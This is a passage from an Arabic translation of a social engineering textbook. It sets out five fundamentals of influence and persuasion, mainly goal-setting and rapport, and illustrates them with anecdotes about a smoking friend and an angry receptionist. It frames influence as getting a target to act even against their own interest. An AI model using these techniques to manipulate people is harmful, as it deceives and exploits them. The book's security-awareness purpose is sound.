‫ﺣﻔﯾظﺔ ﻓﻲ اﻟﻣﺣﺎوﻻت اﻟﻐﯾر ﻣطﺎﺑﻘﺔ ﻟﻠﻣواﺻﻔﺎت ﻣن اﻟﻣﺳوﻗﯾن‪ ،‬وإذا ﻛﻧت ﻣﺛﻠﻲ‪ ،‬ﺳوف ﺗﺑدأ ﻓﻲ اﻟﺗﺧرﯾف واﻟﮭذﯾﺎن ﻓﻲ اﻹﻋﻼﻧﺎت اﻟﺗﺟﺎرﯾﺔ‬
‫واﻟﻠوﺣﺎت اﻹﻋﻼﻧﯾﺔ اﻟرھﯾﺑﺔ أﺛﻧﺎء اﻟﻘﯾﺎدة‪.‬‬
‫ﻗﺑل اﻟدﺧول ﻓﻲ ﻛﯾﻔﯾﺔ اﺳﺗﺧدام اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع‪ ،‬ﻓﺳوف ﻧﺑدأ ھذا اﻟﺟزء ﻣﻊ ﺟوﻟﺔ ﻗﺻﯾرة ﻟﺑﻌض اﻟﻌﻧﺎﺻر اﻷﺳﺎﺳﯾﺔ ﻣن‬
‫اﻹﻗﻧﺎع واﻟﺗﺄﺛﯾر اﻟﺗﻲ ﻗﻣت ﺑﺗﺟﻣﯾﻌﮭﺎ واﺳﺗﺧداﻣﮭﺎ‪ .‬ﺳوف ﯾﻧﺎﻗش ھذا اﻟﺟزء أﺷﯾﺎء ﻣﺛل اﻟﻣﻌﺎﻣﻠﺔ ﺑﺎﻟﻣﺛل‪ ،‬واﻟﺗﻼﻋب‪ ،‬وﻗوة ﺗﺣدﯾد اﻷھداف‪ ،‬ﻓﻘط‬
‫أﺳﻣﺎء ﻻ ﺣﺻر ﻟﮭﺎ ﻣن ھذه اﻟﻌﻧﺎﺻر اﻷﺳﺎﺳﯾﺔ‪ .‬اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع ﯾﻣﻛن ﺗﻘﺳﯾﻣﮭﺎ إﻟﻰ ﺧﻣﺳﺔ ﺟواﻧب ھﺎﻣﺔ‪ ،‬ﻛﻣﺎ ﻧوﻗش ﻓﻲ اﻷﻗﺳﺎم اﻟﺗﺎﻟﯾﺔ‪.‬‬

‫اﻷﺳﺎﺳﯾﺎت اﻟﺧﻣﺳﺔ ﻋن اﻟﺗﺄﺛﯾر واﻻﻗﻧﺎع )‪(The Five Fundamentals of Influence and Persuasion‬‬
‫اﻷﺳﺎﺳﯾﺎت اﻟﺧﻣﺳﺔ اﻹﻗﻧﺎع ﺗﻛون ﺣﺎﺳﻣﺔ ﻓﻲ اﻟﺣﺻول ﻋﻠﻰ أي ﻧوع ﻣن اﻟﺗﺄﺛﯾر اﻟﻧﺎﺟﺢ ﻋﻠﻰ اﻟﮭدف‪:‬‬
‫‪ -‬وﺿﻊ أھداف واﺿﺣﺔ )‪(Setting clear goals‬‬
‫‪ -‬ﺑﻧﺎء اﻟﻌﻼﻗﺔ )‪(Setting clear goals‬‬
‫‪ -‬اﻟﺑدء ﻓﻲ ﻣﻼﺣظﺔ اﻟﻣﺣﯾط )‪(Being observant of your surroundings‬‬
‫‪ -‬ﻛن ﻣرﻧﺎ )‪(Being flexible‬‬
‫‪ -‬اﻟﺣﺻول ﻋﻠﻰ اﺗﺻﺎل ﻣﻊ ﻧﻔﺳك )‪(Getting in touch with yourself‬‬

‫اﻟﮭدف ﻛﻠﮫ ﻟﻠﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھو اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻟﮭدف ﻻﺗﺧﺎذ إﺟراء ﻗد ﯾﻛون أو ﻻ ﯾﻛون ﻓﻲ ﻣﺻﻠﺣﺗﮭم‪ .‬ﺣﯾث أﻧﮫ ﻟن ﯾﻘوم ﺑﺎﻟﻌﻣل‪/‬اﻻﺟراء‬
‫اﻟذي ﺗرﯾده ﻓﻘط‪ ،‬ﺑل اﻧﮫ ﯾرﯾد‪/‬ﯾرﻏب ﻓﻲ ان ﯾﻘوم ﺑﮭذا اﻟﻌﻣل ورﺑﻣﺎ ﺣﺗﻰ ﯾﺷﻛرك ﻋﻠﻰ ذﻟك ﻓﻲ ﻧﮭﺎﯾﺔ اﻟﻣطﺎف‪ .‬ھذا اﻟﻧوع ﻣن اﻟﺗﺄﺛﯾر ﻗوي‬
‫وﯾﻣﻛﻧﮫ أن ﯾﺟﻌل اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ اﻟذي ﯾﻣﻠك ھذه اﻟﻣﮭﺎرات أﺳطوري‪.‬‬
‫ﻣدرب اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ ذات اﻟﺷﮭرة اﻟﻌﺎﻟﻣﯾﺔ ﺟﯾﻣﻲ ﺳﻣﺎرت ﻗﺎل ذات ﻣرة‪" :‬إن اﻟﺧرﯾطﺔ ﻟﯾﺳت اﻟﻣﻧطﻘﺔ"‪ .‬أﻧﺎ أﺣب ھذا اﻻﻗﺗﺑﺎس ﻷﻧﮫ‬
‫ﯾﻣزج ﺗﻣﺎﻣﺎ ھذه اﻷﺳس اﻟﺧﻣﺳﺔ‪ .‬أﯾﺎ ﻣﻧﮭم ﻟﯾس اﻟﻣﺟﻣوع اﻟﻛﻠﻰ ﻣن ﺗﻠﻘﺎء ﻧﻔﺳﮭﺎ‪ ،‬وﻟﻛن ﺑﺷﻛل ﻓردي ﻓﮭﻲ ﻣﺛل اﻟﻧﻘطﺔ ﻋﻠﻰ اﻟﺧرﯾطﺔ اﻟﺗﻲ ﺗظﮭر‬
‫ﻟك ﻛﺎﻣل اﻟﺧرﯾطﺔ ﻟﻣﺎ ﺗرﯾد ﺗﺣﻘﯾﻘﮫ‪.‬‬
‫‪ -‬ﻟدﯾك ھدف واﺿﺢ ﻓﻲ اﻟﻌﻘل )‪(Have a Clear Goal in Mind‬‬
‫ﻟﯾس ﻓﻘط ﯾﺟب أن ﯾﻛون ﻟدﯾك ھدف واﺿﺢ ﻓﻲ اﻻﻋﺗﺑﺎر‪/‬اﻟﻌﻘل‪ ،‬وﻟﻛن ﯾﺟب ﻋﻠﯾك أن ﺗذھب أﺑﻌد ﺣﺗﻰ ﻣن ذﻟك اﻟﺗدوﯾن‪ .‬اﺳﺄل ﻧﻔﺳك‪" ،‬ﻣﺎذا أرﯾد‬
‫ﻣن ھذه اﻟﻣﺷﺎرﻛﺔ أو اﻟﺗﻔﺎﻋل؟"‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪906‬‬

‫ﻛﻣﺎ ﻧﺎﻗﺷﻧﺎ ﻓﻲ اﻟﻔﺻول اﻟﺳﺎﺑﻘﺔ‪ ،‬ﺧﺎﺻﺔ ﻋﻧدﻣﺎ ﺗﻌﻠﻖ اﻻﻣر ﺑﺎﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ )‪ ،(NPL‬ﺗﺗﺄﺛر اﻟﻧظم اﻟداﺧﻠﯾﺔ ﻟﻺﻧﺳﺎن ﻣن ﺧﻼل أﻓﻛﺎره‬
‫وأھداﻓﮫ‪ .‬إذا ﻛﻧت ﺗرﻛز ﻋﻠﻰ ﺷﻲء‪ ،‬ﻓﺈﻧك ﺗﻛون أﻛﺛر ﻋرﺿﺔ ﻟﺗﺻﺑﺣﮫ أو ﺗﺣﺻل ﻋﻠﯾﮫ‪ .‬ھذا ﻻ ﯾﻌﻧﻲ أﻧﮫ إذا ﻗﻣت ﺑﺎﻟﺗرﻛز ﻋﻠﻰ اﻟﺗﻔﻛﯾر ﻓﻲ‬
‫اﻟﺣﺻول ﻋﻠﻰ واﺣد ﻣﻠﯾون دوﻻر‪ ،‬ﻓﺈﻧك ﺳوف ﺗﺣﺻل ﻋﻠﯾﮫ‪ .‬ﻓﻲ اﻟواﻗﻊ‪ ،‬ھذا ﻏﯾر ﻣﺣﺗم‪ .‬وﻟﻛن ﻣﻊ ذﻟك‪ ،‬إذا ﻛﺎن ﻟدﯾك اﻟﮭدف ﻓﻲ ﺻﻧﻊ واﺣد‬
‫ﻣﻠﯾون دوﻻر‪ ،‬وﻣن ﺛم اﻟﺗرﻛﯾز ﻋﻠﻰ اﻟﺧطوات اﻟﻼزﻣﺔ ﻟﺟﻌل ذﻟك اﻟﻣﺎل‪ ،‬أھداﻓك‪ ،‬اﻟﺗﻌﻠﯾم‪ ،‬واﻹﺟراءات ﻓﮭذا ﺳوف ﯾزﯾد ﻣن اﺣﺗﻣﺎل ﺗﺣﻘﯾﻖ ھذا‬
‫اﻟﮭدف‪ .‬ﯾﻧطﺑﻖ اﻟﺷﻲء ﻧﻔﺳﮫ ﻋﻠﻰ اﻹﻗﻧﺎع‪ .‬ﻣﺎ ھو ھدﻓك؟ ھل ھو ﻟﺗﻐﯾﯾر اﻟﻣﻌﺗﻘدات ﻟﺷﺧص ﻣﺎ؟ ﻟﺣﻣﻠﮫ ﻋﻠﻰ اﺗﺧﺎذ إﺟراء ﻣﺎ؟ ﻟﻧﻔﺗرض أن‬
‫ﺻدﯾﻘﻲ اﻟﻌزﯾز ﻓﻌل ﺷﯾﺋﺎ ﻏﯾر ﺻﺣﻲ ﺑﺷﻛل رھﯾب وﺗرﯾد ﻣﺣﺎوﻟﺔ إﻗﻧﺎﻋﮫ ﺑﺎﻟﺗوﻗف‪ .‬ﻣﺎ ھو اﻟﮭدف؟ رﺑﻣﺎ اﻟﮭدف اﻟﻧﮭﺎﺋﻲ ھو إﻗﻧﺎﻋﮫ أن ﯾﺗوﻗف‪،‬‬
‫وﻟﻛن رﺑﻣﺎ ﺗﺧرج ﺑﻌض اﻷھداف اﻟﻘﻠﯾﻠﺔ ﻋﻠﻰ طول اﻟطرﯾﻖ‪ .‬ﺗﺣدﯾد ﻛل ﻣن ھذه اﻷھداف ﯾﻣﻛﻧك ﺟﻌل طرﯾﻖ اﻟﺗﺄﺛﯾر ﻋﻠﻰ اﻟﺷﺧص أﻛﺛر‬
‫وﺿوﺣﺎ‪.‬‬
‫ﺑﻌد ﺗﺣدﯾد اﻟﮭدف‪ ،‬ﯾﺟب ﻋﻠﯾك أن ﺗﺳﺄل ﻧﻔﺳك‪" ،‬ﻛﯾف ﯾﻣﻛﻧﻧﻲ أن أﻋرف ﻋﻧدﻣﺎ أﺣﺻل ﻋﻠﯾﮫ؟" ﻟﻘد اﺳﺗﻣﻌت ﻣرة واﺣدة إﻟﻰ ﺑرﻧﺎﻣﺞ ﺗدرﯾب‬
‫واﻟذي ﯾﻘدﻣﮫ ﺟﯾﻣﻲ ﺳﻣﺎرت‪ ،‬واﺣدة ﻣن ﻗﺎدة اﻟﻌﺎﻟم ﻓﻲ اﻟﺑرﻣﺟﺔ اﻟﻠﻐوﯾﺔ اﻟﻌﺻﺑﯾﺔ‪ ،‬وﺳﺄل ﻛل ﺷﺧص ﻓﻲ اﻟﻔﺻول اﻟدراﺳﯾﺔ ھذه ﺳؤاﻟﯾن‪:‬‬
‫‪ -‬ﻣﺎذا ﺗرﯾد؟‬
‫‪ -‬ﻛﯾف ﺳوف ﺗﻌرف ﻋﻧدﻣﺎ ﯾﻛون ﻟدﯾك ذﻟك؟‬
‫ﻋﻧد ھذه اﻟﻧﻘطﺔ‪ ،‬أﻧﺎ أوﻗﻔت ‪ CD‬ﻋﻠﻰ اﻟﺳؤال اﻻول ﺛم ﻗﻣت ﺑﺎﻹﺟﺎﺑﺔ ﻋﻠﻰ ھذا ﺑﻧﻔﺳﻲ ﺑﺻوت ﻋﺎل ﻣﺎذا أرﯾد ﻣن ھذه اﻟدورة‪ .‬ﺛم ﺿﻐطت‬
‫اﻟﻠﻌب ﻣرة أﺧرى وﻋﻧدﻣﺎ ﺳﺄل اﻟﺳؤال اﻟﺛﺎﻧﻲ "ﻛﯾف ﺗﻌرف أﻧك ﻗد ﺣﺻﻠت ﻋﻠﻰ ذﻟك؟" ﻓﺄوﻗﻔت ‪ CD‬ﻣرة أﺧرى وﺧﺳرت‪ .‬ﻛﺎن واﺿﺣﺎ ﻟﻲ أﻧﮫ‬
‫ﻟم ﯾﻛن ﻟدي ﺧﺎرطﺔ طرﯾﻖ‪ .‬ﻛﻧت أﻋرف ﻣﺎ أرﯾد ﻣن ذﻟك ﺑﺎﻟطﺑﻊ‪ ،‬وﻟﻛن ﻟم أﻛن أﻋرف ﻛﯾﻔﯾﺔ اﻟﻘﯾﺎس ﻋﻧدﻣﺎ أﻛون ﻗد ﺣﺻﻠت ﻋﻠﯾﮫ‪.‬‬
‫ﻣﻌرﻓﺔ ﻣﺎ ﺗرﯾده ﻣن اﻟﺗﻌﺎﻗدات ھو ﺟﺎﻧب ﻣﮭم ﻣن ﺗﻛﺗﯾﻛﺎت اﻟﺗﺄﺛﯾر واﻹﻗﻧﺎع‪ .‬ﻋﻧد اﻻﻗﺗراب ﻣن اﻟﮭدف ﻓﺈﻧك ﺗﻌرف ﻣﺎ ھﻲ أھداﻓك وﻣﺎ ھﻲ‬
‫اﻟﻣؤﺷرات اﻟﺗﻲ ﺳوف ﺗﺣﺻل ﻋﻠﯾﮭﺎ ﻋﻧدﻣﺎ ﺗﺣﺻل ﻋﻠﻰ ﻣﺎ ﺗرﯾده‪ ،‬ﺛم ﯾﻣﻛﻧك أن ﺗﺣدد ﺑوﺿوح اﻟﻣﺳﺎر اﻟذي ﺗﺣﺗﺎج إﻟﻰ أن ﺗﺄﺧذه‪ .‬ﺗﺣدﯾد‬
‫اﻷھداف ﺑوﺿوح ﯾﻣﻛن أن ﯾﺻﻧﻊ أو ﯾﻔﺷل ﻧﺟﺎح ﺗﻛﺗﯾﻛﺎت اﻟﺗﺄﺛﯾر اﻟﺗﻲ ﯾﺳﺗﺧدﻣﮭﺎ اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ وﻛذﻟك ﺟﻌل اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ أﺳﮭل ﺑﻛﺛﯾر‬
‫ﻓﻲ اﻹﺗﻘﺎن‪.‬‬
‫‪ -‬ﺑﻧﺎء اﻟﻌﻼﻗﺔ )‪( Rapport، Rapport،Rapport‬‬
‫ﻓﻲ اﻟﻔﺻول اﻟﺳﺎﺑﻘﺔ ﻛﻧﺎ ﻗد ﺗﺣدﺛﻧﺎ ﺑﺎﻟﻛﺎﻣل ﻋن ﺑﻧﺎء اﻟﻌﻼﻗﺔ‪ .‬ﻓﻘم ﺑﻘراءﺗﮭﺎ‪ ،‬ودراﺳﺗﮭﺎ‪ ،‬واﺗﻘن ﻣﮭﺎرة ﺑﻧﺎء اﻟﻌﻼﻗﺔ اﻟﺧﺎص ﺑك‪.‬‬
‫ﺗطوﯾر اﻟﻌﻼﻗﺔ ﯾﻌﻧﻲ أن ﺗﺣﺻل ﻋﻠﻰ اﻧﺗﺑﺎه اﻟﺷﺧص اﻟذي ﯾﺗم اﺳﺗﮭداﻓﮫ وﻋﻘﻠﮫ اﻟﻼواﻋﻲ‪/‬اﻟﺑﺎطن‪ ،‬وﺑﻧﺎء اﻟﺛﻘﺔ داﺧل ذﻟك اﻟﺟزء اﻟﻼواﻋﻲ‪ .‬ﯾﻣﻛن‬
‫اﺗﻘﺎن ﻣﮭﺎرة ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﺗﻐﯾﯾر اﻟطرﯾﻘﺔ اﻟﺗﻲ ﺗﺗﻌﺎﻣل ﺑﮭﺎ ﻣﻊ اﻟﻧﺎس‪ ،‬وﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺎﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ‪ ،‬ﯾﻣﻛن أن ﺗﻐﯾﯾر ﻣﻧﮭﺟﯾﺔ ﺑﺄﻛﻣﻠﮭﺎ‪.‬‬
‫ﻟﻛﻲ ﺗﺑﻧﻰ ﻋﻼﻗﺔ‪ ،‬ﻧﺑدأ ﻣن ﺣﯾث اﻟﺷﺧص اﻟذي ﺗرﯾد اﻟﺗﺄﺛﯾر ﻋﻠﯾﮫ ﻋﻘﻠﯾﺎ )ﺣﺎول ﻓﮭم إطﺎره اﻟﻌﻘﻠﻲ(‪ .‬ھل ھم ﻣرﯾب؟ ھل ھم ﻣﺳﺗﺎءﯾن‪ ،‬ﯾﺷﻌروا‬
‫ﺑﺎﻟﺣزن‪ ،‬أو ﻗﻠﻘﯾن؟ ﻣﮭﻣﺎ ﻛﺎﻧت اﻟﺣﺎﻟﺔ اﻟﻌﺎطﻔﯾﺔ اﻟﺗﻲ ﺗﺗﺻورھﺎ ﻟﮭم ﻟﻛﻲ ﯾﻛوﻧوا ﻓﯾﮭﺎ‪ .‬ﻻ ﺗرﻛز ﻋﻠﻰ أھداﻓك ﺑﻘدر ﻣﺎ ﺗرﻛز ﻋﻠﻰ ﻓﮭم اﻟﺷﺧص‪.‬‬
‫ھذه ﻧﻘطﺔ ﺣﯾوﯾﺔ ﺟدا‪ .‬ھذا ﯾﻌﻧﻲ ان اﻟﻣﮭﻧدس اﻻﺟﺗﻣﺎﻋﻲ ﯾﺟب أن ﯾﻔﮭم ھدﻓﮫ ﺑﺎﻟﻘدر اﻟﻛﺎﻓﻲ اﻟذي ﯾﻣﻛﻧﮫ أن ﯾﺗﺧﯾل أﯾن وﻋﯾﮭم‪ .‬ﻣﺎ ھﻲ أﻓﻛﺎر‬
‫اﻟﮭدف وﺣﺎﻟﺗﮫ اﻟذھﻧﯾﺔ؟‬
‫ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬ﺗﺧﯾل أﻧك ﺗرﯾد اﻟﺗﺄﺛﯾر ﻋﻠﻰ ﺻدﯾﻖ ﻋزﯾز ﻋﻠﯾك وﺗرﻏب ﻓﻲ أن ﯾﻘﻠﻊ ﻋن اﻟﺗدﺧﯾن أو اﻟﻣﺧدرات أو ﯾﻔﻌل ﺷﯾﺋﺎ آﺧر‪ .‬ﻻﺣظ‬
‫ھﻧﺎ أﻧك ﻻ ﺗرﯾد إﻗﻧﺎﻋﮫ ﺑﺎﻻﻧﺳﺣﺎب‪ ،‬وﻟﻛن إﻗﻧﺎﻋﮫ ﺑﺄﻧﮫ ﯾرﯾد اﻹﻗﻼع ﻋن اﻟﺗدﺧﯾن‪ .‬ھدﻓك ﻻ ﯾﻣﻛن أن ﯾﻛون ﻋﻧك‪ ،‬أﻟﯾس ﻛذﻟك؟ ﯾﺟب أن ﻧرﻛز‬
‫ﻋﻠﻰ اﻟﮭدف‪ .‬ﻻ ﯾﻣﻛﻧك ﺑدء اﻟﻣﺣﺎدﺛﺔ ﻣﻊ ﻣﺎ ﺗﺄﺛﯾر إدﻣﺎﻧﮭﺎ واﻟذي ﯾﻣﻛﻧﮫ ان ﯾﻔﻌل ﺑك‪ ،‬ﻛم ﻟﮭﺎ ﻣن راﺋﺣﺔ ﻛرﯾﮭﺔ‪ ،‬وھﻠم ﺟرا‪ .‬اﻟﺣﺟﺔ ﯾﺟب أن ﺗﻛون‬
‫ﻣﺎ ھو ﻋﻠﯾﮫ ﺑﺎﻟﻧﺳﺑﺔ ﻟﮭﺎ‪ .‬ﻻ ﯾﻣﻛﻧك ﺑدء اﻟﻣﺣﺎدﺛﺔ ﻣﻊ اﻟﮭﺟوم اﻟﻠﻔظﻲ ﺣول ﻣﺎ ﻓﻌﻠﮫ ﺷﺧص ﻣﺎ ﻟك ﺑواﺳطﺔ ﻋﺎدﺗﮫ‪ ،‬وﻟﻛن ﺗﺣﺗﺎج ﻟﻔﮭم أﯾن ﯾوﺟد‬
‫إطﺎر اﻟﻌﻘل ﻟذﻟك اﻟﺷﺧص‪ ،‬وﻗﺑول ذﻟك‪ ،‬ﺛم اﻟﻘﯾﺎم ﺑﺎﻟﻣﺣﺎذة ﻣﻌﮫ‪.‬‬
‫اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ ھﻲ ﻧﻔﺳﮭﺎ ﺗﻘرﯾﺑﺎ‪ :‬ﻻ ﯾﻣﻛﻧك اﻟﺑدء ﺣﯾث ﺗﻛون ﻋﻘﻼﻧﯾﺎ‪ .‬ھذا ﺳﯾﻛون ﺻراع ﻋﻧد ﻛﺛﯾر ﻣن اﻟﻧﺎس‪ .‬ھل ﺗﻌرف ﻟﻣﺎذا ھو ﯾدﺧن؟‬
‫ھل ﺗﻔﮭم اﻷﺳﺑﺎب اﻟﻧﻔﺳﯾﺔ واﻟﺑدﻧﯾﺔ‪ ،‬أو اﻟﻌﻘﻠﯾﺔ ﻟﻣﺎذا؟ ﻻ ﯾﻣﻛﻧك ﺑﻧﺎء ﻋﻼﻗﺔ ﻗوﯾﺔ وﺟﮭودﻛم ﻓﻲ اﻟﺗﺄﺛﯾر ﺳﺗﻔﺷل‪.‬‬
‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪ ،‬ﻻ ﯾﻣﻛﻧك اﻻﺳﺗﻧﺎد داﺋﻣﺎ ﻟﻔﻛرة ﺑﻧﺎء اﻟﻌﻼﻗﺔ ﺑواﺳطﺔ اﻟﻣﻧطﻖ‪ .‬ذات ﻣرة ﻛﻧت ﻓﻲ اﻟﻣﺳﺗﺷﻔﻰ ﻣﻊ ﺻدﯾﻘﻲ اﻟﻌزﯾز اﻟذي ﻛﺎن‬
‫ﯾﺣﺗﺿر ﻧﺗﯾﺟﺔ ﺳرطﺎن اﻟﺣﻠﻖ‪ .‬وﻗﺎل اﻧﮫ ﯾدﺧن ﻷﻛﺛر ﻣن ‪ 40‬ﺳﻧﺔ وﻓﻰ ﯾوم واﺣد اﻛﺗﺷف اﻧﮫ ﻣﺻﺎب ﺑﺎﻟﺳرطﺎن‪ .‬اﻧﺗﺷر ﺑﺳرﻋﺔ‪ ،‬ﻟﯾﺻل ﺑﮫ إﻟﻰ‬
‫اﻟﻣﺳﺗﺷﻔﻰ ﻟﻌﯾش أﯾﺎﻣﮫ اﻷﺧﯾرة‪ .‬أوﻻده أﺗوا ﻟزﯾﺎرﺗﮫ اﻟﻰ اﻻن وﻟﻛن ﯾﺟب ﻋﻠﯾﮭم ﺗرك اﻟﻐرﻓﺔ اﻻن‪ .‬اﻋﺗﻘد اﻧﮫ ﻏﻠﺑت ﻋﻠﯾﮭم اﻟﻌﺎطﻔﺔ‪ .‬ذات ﻣرة‬
‫ﺑﻌدﻣﺎ إرھﺎق أﻧﻔﺳﮭم ذھﺑت إﻟﯾﮭم ﻟﻣواﺳﺎﺗﮭم ﺣﯾث ﻛﺎن ﺧﺎرج اﻟﻣﺳﺗﺷﻔﻰ ﻓراﯾﺗﮭم ﯾدﺧﻧون! ﺻﻌﻘت ﻣن ھذا‪ .‬أﻧﺎ ﻻ أدﺧن وﻟﯾس ﻟدي اﻟرﻏﺑﺔ ﻓﻲ‬
‫ھذا‪ ،‬وﻋﻠﻰ اﻟرﻏم ﻣن أﻧﻧﻲ ﯾﻣﻛن أن أﻓﮭم ﻣدى ﻗوة اﻹدﻣﺎن ﻛﯾف ﯾﻣﻛن أن ﺗﻛون‪ ،‬ﻻ أﺳﺗطﯾﻊ أن أﻓﮭم ﻛﯾف ﯾﻣﻛﻧﮭم ﺑﻌد رؤﯾﺔ أﻻم اﻟذي ﯾﻌﺎﻧﻲ‬
‫ﻣﻧﮭﺎ واﻟدھم‪ ،‬ﻛﯾف ﯾﻣﻛﻧﮭم رﻓﻊ اﻟﺳﯾﺟﺎرة إﻟﻰ ﺷﻔﺎھﮭم‪.‬‬
‫ان اﻟﻣﻧطﻖ ﻻ ﯾﻔوز ﻓﻲ ھذه اﻟﻘﺿﯾﺔ‪ .‬أﺧﺑﺎر أﺑﻧﺎء ﺻدﻗﻲ ﺑﺄن اﻟﺗدﺧﯾن ﻋﺎدة ﺳﯾﺋﺔ وﻛﯾف ﺳﯾﻘوم ﺑﻘﺗﻠﮭم ﻓﮭذا ﻟن ﯾﻔﻌل أي ﺷﻲء ﺣﺳن )ھذه‬
‫اﻟﻣﻌﻠوﻣﺎت ﻋدﯾﻣﺔ اﻟﻔﺎﺋدة وذﻟك ﻷﻧﮭﺎ ﻣﻌﻠوﻣﺎت ھﺟوﯾﮫ ﺣﯾث أﻧﮭﺎ ﻓﻘط ﺟﻌﻠﺗﻧﻲ أﺷﻌر أﻧﻧﻲ ﺑﺣﺎﻟﺔ ﺟﯾدة ﻓﻲ ﻗوﻟﮫ ذﻟك(‪ ،‬وﻟﻛﻧﮭﺎ ﻻ ﺗﺗﻣﺎﺷﻰ ﻣﻊ‬
‫إطﺎرھﺎ اﻟﺣﺎﻟﻲ ﻣن اﻟﻌﻘل‪ .‬ﺣﺗﻰ ﺗﻔﮭم اﻟﺷﺧص ﻓﮭذا ﻻ ﯾﻌﻧﻰ إﻧك ﻣن اﻟﻣﻣﻛن اﻟﻧﺟﺎح ﻓﻲ ﺑﻧﺎء ﻋﻼﻗﺔ ﺟﯾدة ﺑﻣﺎ ﻓﯾﮫ اﻟﻛﻔﺎﯾﺔ ﻟﻠﺗﺄﺛﯾر ﻋﻠﯾﮫ‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪907‬‬

‫اﻟﺣﺻول ﻋﻠﻰ ﺷﺧص ﻣﺎ ﻟﺟﻌﻠﮫ ﯾرﯾد أن ﯾﻔﻌل ﺷﯾﺋﺎ ھو ﻣزﯾﺞ ﻣن اﻟﻌﺎطﻔﺔ واﻟﻣﻧطﻖ‪ ،‬وﻛذﻟك اﻟﺗﻔﺎھم واﻟﺗواﺿﻊ ﻓﻲ ﻛﺛﯾر ﻣن اﻟﺣﺎﻻت‪ .‬ذات ﻣرة‬
‫ﻣﺷﯾت إﻟﻰ ﻣﻛﺗب ﺣﯾث ﻛﻧت ذاھﺑﺎ ﻟﻠﻘﯾﺎم ﺑﺑﻌض اﻷﻋﻣﺎل وﺳﻣﻌت ﺗﻌﻠﯾﻖ ﻣﺿﺣك ﻓﻲ اﻟﺧﺎرج‪ ،‬ﻟذﻟك ﻋﻧدﻣﺎ ﻛﻧت أﻣﺷﻲ ﻓﻲ اﻟﻣدﺧل اﻟرﺋﯾﺳﻲ ﻛﻧت‬
‫أﺿﺣك‪ .‬اﻟﻣرأة ﺧﻠف اﻟﻣﻛﺗب اﻋﺗﻘدت إﻧﮭﺎ ﻓﻌﻠت ﺷﻲء ﻣﺣرج ﻷﻧﮫ ﻋﻧدﻣﺎ رأﺗﻧﻲ ﻗﺎﻣت ﻋﻠﻰ اﻟﻔور وھﻲ ﺗﺷﻌر ﺑﺎﻟﻐﺿب وﺻرﺧت ﻓﻲ وﺟﮭﻲ‪،‬‬
‫"اﻧﮭﺎ ﻟﯾﺳت ﻣﺿﺣﻛﺔ ﺟدا واﻧت ﻣﺧﺗل"‪.‬‬
‫اﻵن ﻟم أﻛن أﻋرف ھذه اﻟﻣرأة وﻟﻛﻲ ﺗﻘول ﻟك اﻟﺣﻘﯾﻘﺔ ﻓﻛﺎن ﻟدي ھدف ﻓﻲ اﻻﻋﺗﺑﺎر أن ھذا اﻟﺗﻔﺎﻋل ﻟن ﯾذھب ﻟﻠﻣﺳﺎﻋدة‪ .‬ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ذﻟك‪،‬‬
‫ﺷﻌرت ﺑﺎﻹھﺎﻧﺔ ﺣﯾث اﻧﮭﺎ اﻓﺗرﺿت أﻧﻰ ﻛﻧت أﺿﺣك ﻋﻠﯾﮭﺎ‪ ،‬وأرادت أن أﻋﻧﺗﮭﺎ ﻋﻠﻰ ذﻟك‪ .‬وﻟﻛن ﺑدﻻ ﻣن ذﻟك‪ ،‬رأﯾت أﻧﮭﺎ ﻣﺣﺑطﺔ‪ .‬ﺟﻌﻠت‬
‫ﻧﻔﺳﻲ ﻗرﯾﺑﺎ ﻣﻧﮭﺎ ﺣﺗﻰ ﻻ ﺗﺷﻌر ﺑﺎﻹﺣراج ﺑﻌد اﻵن‪ ،‬ﻧظرت ﻓﻲ ﻋﯾﻧﯾﮭﺎ‪ ،‬وﻣﻊ ﻗول ﺻﺎدق‪" ،‬أﻧﺎ آﺳف ﺟدا إذا ﻛﻧت ﺗﻌﺗﻘدي أﻧﻲ ﻛﻧت اﺿﺣك‬
‫ﻋﻠﯾك‪ .‬ﺣﯾث إﻧﻧﻲ ﻛﻧت ﻓﻲ ﻣوﻗف اﻟﺳﯾﺎرات وﺑﻌض ﻣن زﻣﻼﺋك ﺣﻛﻲ ﻗﺻﺔ ﻋن ﺣﻔﻠﺔ ﻛﺎﻧت ﻓﻲ ﻋطﻠﺔ ﻧﮭﺎﯾﺔ اﻷﺳﺑوع ﻓﺎﻋﺗﻘدت اﻧﮭﺎ ﻛﺎﻧت‬
‫ﻣﺿﺣﻛﮫ ﺟدا "‪.‬‬
‫ﺗطﻠﻌت‪/‬ﻧظرت ﻓﻲ وﺟﮭﻲ‪ ،‬ﯾﻣﻛﻧﻧﻲ أن أﻗول إﻧﮭﺎ اﻵن أﻛﺛر ﺣرﺟﺎ‪ ،‬وذﻟك ﻟﺣﻔظ ﻣﺎء اﻟوﺟﮫ ﻟﮭﺎ‪ ،‬ﻓﻘﻠت ﺑﺻوت ﻋﺎل‪" ،‬ﺳﯾدﺗﻲ‪ ،‬أﻧﺎ آﺳف ﺑﺳﺑب‬
